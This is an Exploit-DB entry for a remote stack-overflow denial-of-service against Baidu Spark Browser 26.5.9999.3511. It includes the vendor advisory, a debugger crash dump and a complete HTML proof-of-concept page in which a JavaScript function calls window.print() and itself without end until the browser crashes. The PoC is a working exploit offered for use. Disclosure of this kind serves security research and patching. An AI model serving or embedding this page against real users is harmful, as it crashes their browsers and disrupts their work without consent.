Baidu Spark Browser 26.5.9999.3511 - Remote Stack Overflow (Denial of Service)

EDB-ID:

33951

Author:

LiquidWorm

Type:

dos

Platform:

Windows

Published:

2014-07-02

<!--

Baidu Spark Browser v26.5.9999.3511 Remote Stack Overflow Vulnerability (DoS)


Vendor: Baidu, Inc.
Product web page: http://www.baidu.com
Affected version: 26.5.9999.3511

Summary: Spark Browser is a free Internet browser with very
sharp UIs and cool utilities. It's based on the Chromium
technology platform, giving it fast browsing capabilities.

Desc: Spark Browser version 26.5.9999.3511 allows remote
attackers to cause a denial of service (application crash)
resulting in stack overflow via nested calls to the window.print
javascript function.

-----------------------------------------------------------------

(153c.14f4): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000000b0 ebx=003d0000 ecx=003d0000 edx=5000016b esi=00000000 edi=0000010c
eip=77e0decf esp=03d23000 ebp=03d230c4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
ntdll!memcpy+0xbb8f:
77e0decf 56              push    esi

-----------------------------------------------------------------

Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Microsoft Windows 7 Ultimate SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5190
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5190.php


28.06.2014

-->


<html>
<title>Baidu Spark Browser v26.5.9999.3511 Remote Stack Overflow DoS PoC</title>
<body bgcolor="#50708C">
<center>
<p><font color="#e3e3e3">Baidu Spark Browser v26.5.9999.3511 Remote Stack Overflow DoS PoC</font></p>
<button onClick=crash()>Execute!</button>
</center>
<script>
function crash(){
	window.print();
	crash();
}
</script>
</body>
</html>